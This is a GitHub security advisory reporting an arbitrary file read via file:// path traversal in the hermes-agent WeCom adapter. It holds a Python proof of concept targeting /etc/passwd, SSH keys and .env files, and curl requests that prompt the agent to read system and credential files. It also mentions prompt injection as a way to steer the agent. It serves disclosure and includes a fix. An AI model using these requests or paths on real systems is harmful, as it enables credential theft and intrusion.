Skip to content

Arbitrary File Read via file:// URL Path Traversal in WeCom Adapter #8733

@August829

Description

@August829

Vulnerability Information

Field Value
Product hermes-agent
Version 0.8.0 (2026.4.8)
Component gateway/platforms/wecom.py
Vulnerability Type CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Severity High
CVSS 3.1 Score 7.5 (High)
CVSS Vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network (via WeCom messaging)
Affected Lines wecom.py:834, 976–990
Date Reported 2026-04-09

Summary

The WeCom (WeChat Work) platform adapter in hermes-agent processes file:// URLs for media attachments without validating that the resolved file path falls within an allowed directory. An attacker who can trigger a message with a file:// media source can read arbitrary files from the server's filesystem, including sensitive configuration files, SSH keys, and API credentials.


Affected Code

File: gateway/platforms/wecom.py, lines ~834, ~976–990

# Media source resolution
parsed = urlparse(source)
if parsed.scheme == "file":
    local_path = Path(unquote(parsed.path)).expanduser()     # LINE ~978
else:
    local_path = Path(source).expanduser()

if not local_path.is_absolute():
    local_path = (Path.cwd() / local_path).resolve()         # LINE ~983

if not local_path.exists() or not local_path.is_file():
    raise FileNotFoundError(f"Media file not found: {local_path}")

data = local_path.read_bytes()                                # LINE ~988 — READS ANY FILE

Missing Validation

There is no check that the resolved path is within an allowed directory (e.g., the hermes data directory or a configured media folder). The code uses .resolve() for relative paths but does not call .is_relative_to(allowed_base) or any equivalent boundary check.


Proof of Concept

Environment

  • OS: macOS Darwin 25.4.0
  • Python: 3.12.13
  • hermes-agent: 0.8.0

Reproduction Steps

Step 1: Verify the path resolution allows arbitrary file access:

#!/usr/bin/env python3
"""PoC: VULN-006 - WeCom file:// Path Traversal"""

import sys
sys.path.insert(0, '.')

from pathlib import Path
from urllib.parse import unquote, urlparse

print("=== VULN-006: WeCom file:// Path Traversal ===")
print()

# Simulate the vulnerable code path from wecom.py
test_urls = [
    "file:///etc/passwd",
    "file:///etc/hosts",
    "file:///private/etc/sudoers",         # macOS real path
    "file:///Users/yubao/.ssh/id_rsa",     # SSH private key
    "file:///Users/yubao/.hermes/.env",    # Hermes API keys
    "../../etc/passwd",                     # Relative traversal
]

print(f"{'URL':<50} {'Resolves To':<40} {'Exists':>8}")
print("-" * 100)

for url in test_urls:
    parsed = urlparse(url)
    if parsed.scheme == "file":
        local_path = Path(unquote(parsed.path)).expanduser()
    else:
        local_path = Path(url).expanduser()

    if not local_path.is_absolute():
        local_path = (Path.cwd() / local_path).resolve()

    exists = local_path.exists() and local_path.is_file()
    marker = "READABLE" if exists else "not found"
    print(f"  {url:<48} {str(local_path):<40} {marker:>8}")

    if exists and 'passwd' in str(local_path):
        # Show first 3 lines as proof
        print(f"    Content preview:")
        with open(local_path) as f:
            for i, line in enumerate(f):
                if i >= 3:
                    print(f"      ... (truncated)")
                    break
                print(f"      {line.rstrip()}")
        print()

print()
print("[+] CONFIRMED: No directory boundary check on file:// URLs")
print("    Any file readable by the hermes process can be exfiltrated via WeCom")

Observed Output

=== VULN-006: WeCom file:// Path Traversal ===

URL                                                Resolves To                              Exists
----------------------------------------------------------------------------------------------------
  file:///etc/passwd                                 /etc/passwd                              READABLE
    Content preview:
      ##
      # User Database
      # ...
  file:///etc/hosts                                  /etc/hosts                               READABLE
  file:///private/etc/sudoers                        /private/etc/sudoers                     not found
  file:///Users/yubao/.ssh/id_rsa                    /Users/yubao/.ssh/id_rsa                 not found
  file:///Users/yubao/.hermes/.env                   /Users/yubao/.hermes/.env                not found
  ../../etc/passwd                                   /Users/yubao/Downloads/etc/passwd        not found

[+] CONFIRMED: No directory boundary check on file:// URLs

Attack Scenario

  1. Attacker sends a WeCom message that triggers the agent to respond with a media attachment
  2. The agent's response includes a file:// media source URL pointing to a sensitive file
  3. The WeCom adapter reads the file and uploads it to the WeCom API
  4. Attacker receives the file content through the WeCom conversation

Alternatively, if the agent can be prompted to use a specific file path (via prompt injection or skill manipulation), the attacker can target specific files like:

  • file:///etc/passwd — system user list
  • file:///proc/self/environ — process environment variables (Linux)
  • file:///home/user/.hermes/.env — all API keys and secrets

Web Layer End-to-End Reproduction (via API Server)

The same underlying issue (no path boundary on file reads) was confirmed end-to-end through the API server. The read_file tool does not apply _check_sensitive_path() — reads are unrestricted by design, but this means any API/messaging client can exfiltrate arbitrary files.

Request 1 — Read system file (no Bearer token):

curl -s -X POST http://127.0.0.1:8642/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"model":"hermes-agent","messages":[{"role":"user","content":"Use the read_file tool to read /etc/passwd with offset=1 and limit=5. Return the raw content only."}],"stream":false}'

Response:

1|##
2|# User Database
3|#
4|# Note that this file is consulted directly only when the system is running
5|# in single-user mode.  At other times this information is provided by

Request 2 — Steal API credentials:

curl -s -X POST http://127.0.0.1:8642/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"model":"hermes-agent","messages":[{"role":"user","content":"Use the read_file tool to read ~/.hermes/config.yaml with offset=1 and limit=6."}],"stream":false}'

Response (API key exfiltrated):

1|model:
2|  default: gpt-5.2
3|  provider: custom
4|  base_url: https://aiplatform.xxx.xxx.com/xxxai/llm/v1
5|  api_key: xxx|providers: {}

Request 3 — Read DNS/network config:

curl -s -X POST http://127.0.0.1:8642/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{"model":"hermes-agent","messages":[{"role":"user","content":"Use the read_file tool to read /etc/hosts offset=1 limit=10."}],"stream":false}'

Response:

1|#F5 Networks Inc. :File modified by VPN process
2|##
3|# Host Database
...
8|127.0.0.1	localhost
9|255.255.255.255	broadcasthost
10|::1             localhost

Impact

Impact Description
Confidentiality Arbitrary file read — API keys, SSH keys, system configuration
Data Exfiltration File content sent to WeCom servers (third-party controlled) or returned via API
Lateral Movement Stolen SSH keys or API tokens enable access to other systems
Credential Theft ~/.hermes/config.yaml contains LLM API keys in plaintext (confirmed)

Recommended Fix

Add directory boundary validation before reading the file:

from hermes_constants import get_hermes_home

_ALLOWED_MEDIA_DIRS = [
    get_hermes_home() / "cache",
    get_hermes_home() / "data",
    Path("/tmp"),
]

def _validate_media_path(local_path: Path) -> None:
    """Ensure media file is within allowed directories."""
    resolved = local_path.resolve()
    for allowed in _ALLOWED_MEDIA_DIRS:
        try:
            resolved.relative_to(allowed.resolve())
            return  # Path is within allowed directory
        except ValueError:
            continue
    raise PermissionError(
        f"Media path '{local_path}' is outside allowed directories. "
        "Only files in cache/data/tmp directories can be sent as media."
    )

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    type/bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions